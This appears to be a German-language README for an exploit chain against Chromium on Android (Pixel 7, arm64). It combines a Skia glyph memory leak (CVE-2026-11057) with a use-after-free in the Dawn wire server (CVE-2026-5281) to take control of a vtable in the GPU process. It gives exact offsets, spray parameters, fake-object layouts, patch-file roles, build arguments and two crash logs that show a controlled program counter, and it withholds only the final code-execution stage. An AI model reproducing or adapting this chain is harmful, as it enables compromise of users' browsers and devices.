
Vollständige Exploit-Kette für Android Chromium, die den CVE-2026-11057-Informationsleck und den CVE-2026-5281-Use-after-Free kombiniert, um eine Vtable-Übernahme und beliebige Codeausführung zu erreichen.
Pixel 7 Android 16 ARM64
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date: Mon Mar 9 12:48:07 2026 -0700
Dieses Repository kombiniert CVE-2026-11057 (nicht initialisierter Glyphen-Bildspeicher in Skia) und CVE-2026-5281 (Use-after-free von DeviceInfo im Dawn-Wire-Server) zu einer vollständigen Chain. Alle Änderungen erfolgen auf der Renderer-Seite; der GPU-Prozess-Code bleibt unverändert:
Info-Leak (CVE-2026-11057) — Einen nicht initialisierten Glyphen-Bildpuffer über Canvas-Text-Rendering auslösen, Zeiger aus dem Heap des GPU-Prozesses zurücklesen, sie mit arithmetischen Läufen validieren, die PartitionAlloc-Pool-Basis ableiten und das Fake-Server-Ziel M = POOL + 0x202A08000 (kalibrierter Offset) berechnen.
CC-Spray — createBuffer(label="CCM:<m>:<n>") löst die Injektion von 3000 unvollständigen ChunkedCommands aus (10KB-Bucket, remainingSize=1, im mChunkedCommands des Wire-Servers am Leben gehalten). Das Payload füllt die Region um M mit einem Fake-Server, der für Android arm64 ausgelegt ist: MutexProtected-vptr bei +0xB20, ChunkedCommandSerializer bei +0xB50/+0xB58, Fake-CommandSerializer/vtable bei +0xC00/+0xD00.
5281-Trigger + Belegen — queue.writeBuffer(buffer, 0x414141, ...) ruft zuerst Unregister(Device) auf, um das 16-Byte-DeviceInfo freizugeben, injiziert dann einen 16-Byte-Belegungs-ChunkedCommand, um diesen Slot zurückzuerobern und info->server mit M zu überschreiben, und löst schließlich einen Validierungsfehler mit einem Out-of-Bounds-Offset aus.
Dangling-Callback → Vtable-Hijack — Der Callback für nicht abgefangene Fehler dereferenziert info->server = M (Fake-Server): Die genullten Mutexes bestehen, die Ausführung erreicht OnUncapturedError → SerializeCommand, und der relative Vtable-Indirect-Call trifft unsere Fake-Vtable, was pc = fake_vtable + kontrollierter int32-Offset ergibt, demonstriert durch pc = 0x7641414141.
Hinweis: Android-arm64-Chromium verwendet relative Vtables (
-fexperimental-relative-c++-abi-vtables); Vtable-Einträge sind 32-Bit-Relativoffsets statt absoluter Funktionszeiger, daher verwendet der PoC einen kontrollierten int32-Offset als Marker am Vtable-Hijack-Punkt.
Auf dem Testgerät erreicht die vollständige Chain den Vtable-Hijack-Crash mit einer Erfolgsrate von fast 100 %; die Leak-Phase erfordert gelegentlich mehrere automatische Neuladevorgänge, bevor sie erfolgreich ist.
SkStrike.cpp.patch — CVE-2026-11057-Leak-Trigger. FlattenGlyphsByType() schreibt das Strike-Payload um, sodass der GPU-Prozess ein SkGlyph mit fImage == nullptr erstellt und schließlich einen nicht initialisierten Bildpuffer liest, um Heap-Zeiger zu leaken.Device.cpp.patch — Dawn-Wire-Client-CC-Spray. APICreateBuffer() parst das CCM:-Label, baut das Android-arm64-Fake-Server-Payload auf und injiziert N unvollständige ChunkedCommands, die im GPU-Prozess am Leben bleiben.ApiProcs.cpp.patch — CVE-2026-5281-Trigger + Belegen. Beim Magic-Offset 0x414141 von QueueWriteBuffer ruft es Unregister(Device) auf, um DeviceInfo freizugeben, injiziert einen 16-Byte-ChunkedCommand, um den Slot zurückzuerobern und zu setzen, und fährt dann mit einem Out-of-Bounds-Offset fort, um den Dangling-Callback auszulösen.Dieser ExP wird nur bis zum Vtable-Hijack-Schritt offengelegt (kontrolliertes Indirect-Call-Ziel, pc = base+0x41414141). Die Schritte ab dem kontrollierten Sprung sowie die RCE-Implementierung bleiben vertraulich und sind in diesem Repository nicht enthalten.
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true
treat_warnings_as_errors = false
adb logcat | grep DEBUG auf dem PC ausführenAktueller Exploit-Stack:
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG : pid: 11188, tid: 11211, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG : x0 0000007602a08b20 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG : x4 00000000000000b1 x5 000000760148b520 x6 0000000001414d4c x7 0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG : x8 0000007b272cd790 x9 0000007641414141 x10 0000000000000000 x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG : x16 0000007b230ada10 x17 0000007e66d55520 x18 0000007b25fd8000 x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG : x20 00000000000000b1 x21 00000076000f5c40 x22 0000000000000002 x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG : x24 0000007602a08000 x25 0000007b230e7000 x26 0000007b1897c2c6 x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG : x28 0000007b22fa7728 x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG : lr 0000007b20309184 sp 0000007b272cd770 pc 0000007641414141 pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG : #00 pc 000000003dd8c141 [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG : #01 pc 00000000084ac180 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #02 pc 00000000084ab1fc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #03 pc 0000000002a1988c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #04 pc 0000000002a36b4c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #05 pc 00000000029de990 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #06 pc 00000000084ae164 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #07 pc 00000000084956b8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #08 pc 0000000008dd61f0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #09 pc 0000000008dd6300 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #10 pc 0000000008dd3dd0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #11 pc 00000000065fe184 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #12 pc 00000000065fd1dc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #13 pc 00000000065faf6c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #14 pc 00000000065fac54 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #15 pc 0000000005a63054 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #16 pc 00000000065ff294 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #17 pc 000000000547e288 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #18 pc 00000000058de7ec /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #19 pc 0000000005d66b70 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #20 pc 000000000633da58 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #21 pc 00000000063431e8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #22 pc 0000000007a2eb60 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #23 pc 0000000007a2e730 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #24 pc 0000000007a2dd14 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #25 pc 0000000007a2da24 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #26 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #27 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #28 pc 00000000002890ec /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG : #29 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG : #30 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #31 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #32 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #33 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #34 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG : #35 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)
Vollständiger Exploit-Stack (Sprung zu einer beliebigen 64-Bit-Adresse):
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG : pid: 17875, tid: 17891, name: CrGpuMain >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG : x0 0000007602a08b68 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG : x4 00000000000000b1 x5 0000007600024c40 x6 0000000001414d4c x7 0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG : x8 4141414141414141 x9 0000007b76d934a0 x10 0000000000000000 x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG : x16 0000007b24f19ab0 x17 0000007e66d55520 x18 0000007b266dc000 x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG : x20 00000000000000b1 x21 00000076000c9f40 x22 0000000000000002 x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG : x24 0000007602a08000 x25 0000007b24f53000 x26 0000007b1a7e82c6 x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG : x28 0000007b24e137c8 x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG : lr 0000007b76d934b0 sp 0000007b272cd770 pc 0041414141414141 pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG : #00 pc 0041414141414141 <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG : #01 pc 0000000000b0f4ac /.....
06-12 01:02:33.858 17983 17983 F DEBUG : #02 pc 00000000001cdffc [anon:partition_alloc]
In der Stable-Version von Chromium ist das direkte Anwenden von Patches möglicherweise nicht durchführbar oder wünschenswert. Sie können die Patch-Logik daher als Hook-Funktionen neu schreiben, um die relevanten Verarbeitungsfunktionen zur Laufzeit abzufangen und zu modifizieren.
info->server = Mexploit.html — Seiten-Orchestrierung: Leak-Primitive (groom/draw/readCell/verifyRuns/derivePoolBase), CC-Spray und ein eigenständiger exploit5281()-Trigger; bei Fehlern räumt es den Spray-Zustand auf und lädt neu, sodass sich die Phasen nicht gegenseitig stören.